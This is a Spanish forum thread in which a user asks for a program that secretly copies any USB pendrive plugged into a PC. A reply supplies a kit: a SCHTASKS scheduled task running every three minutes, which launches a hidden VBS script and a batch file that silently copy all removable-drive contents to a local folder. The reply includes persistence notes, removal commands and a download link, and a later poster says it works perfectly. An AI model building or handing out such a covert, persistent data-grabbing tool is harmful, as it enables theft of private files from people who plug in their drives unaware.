Buenas:
Estoy interesado en hacer un programa en VB.NET que copie en un directorio del pc, sin que se vea cualquier Pendrive.
¿que os parece la propuesta?
Si conoceis algun software que ya lo haga, ruego me lo faliciteis.
Saludos a todos! :rolleyes:
qué copie que?
"sin que se vea" en que sentido?
has una propuesta clara y bien explicada...
Hola.
Creo que el gran kub0x sabe de qué va el tema:
http://foro.elhacker.net/net/aporte_interceptar_archivosdirectorios_usb-t358902.0.html (http://foro.elhacker.net/net/aporte_interceptar_archivosdirectorios_usb-t358902.0.html)
Saludos.
Creo que el no quiere interceptar un copiado, sino copiar de forma "oculta"; en Sysmte.IO tenes clases como File y DIrectory que te perimten manejar archivos :)
Bueno, realmente eso es lo que hace: detectar la inserción de una unidad usb y realizar el copiado ;). Igual lo de "interceptar" en el título de ese hilo te ha despistado.
Aquí tienes.
Un saludo.
@echo off
SCHTASKS /create /SC MINUTE /MO 3 /tn copiar /TR C:\Hide\start.vbs
El archivo batch run.cmd ejecuta el comando SCHTASKS que crea una tarea programada para ejecutarse cada 3 minutos.
Dicha tarea es ejecutar el script start.vbs, el cual a su vez ejecuta de forma oculta el batch FLASHCopy.cmd que verifica si existe algún dispositivo extraíble conectado y si es así copia todo su contenido de manera imperceptible a la carpeta D:\COPIA.
Las opciones usadas en este caso con SCHTASKS son las siguientes:
/SC MINUTE = Frecuencia de la programación
/MO Número de minutos
/tn = Nombre de la tarea
/TR = Ruta de acceso y el nombre de archivo del programa que se va a ejecutar
Si te interesa descarga un paquete con todos los archivos en el link más abajo.
Para usarlo copia la carpeta Hide a la unidad C.
Utilízalo con precaución, se adjunta un batch llamado detener_tarea para detener y eliminar la tarea creada, si no es así el script se mantendrá ejecutándose aunque reinicies el sistema y poco a poco te llenará el disco duro de datos que capture en las memorias o cualquier dispositivo USB insertado.
Puedes usar los siguientes comandos en la consola de CMD para verificar manualmente si la tarea se está ejecutando, para detenerla y eliminarla en ese mismo orden.
SCHTASKS /query /tn copiar
SCHTASKS /tn copiar /End
SCHTASKS /tn copiar /delete
http://norfipc.com/ftp/comandos/hide.zip
OmarHack
El link no vale.
Lo siento, no tengo el archivo en este pc :$
Muy bueno HdM, la verdad es que funciona a la perfcion.
Gracias :) !!! ;-)
No no, las gracias para su autor :).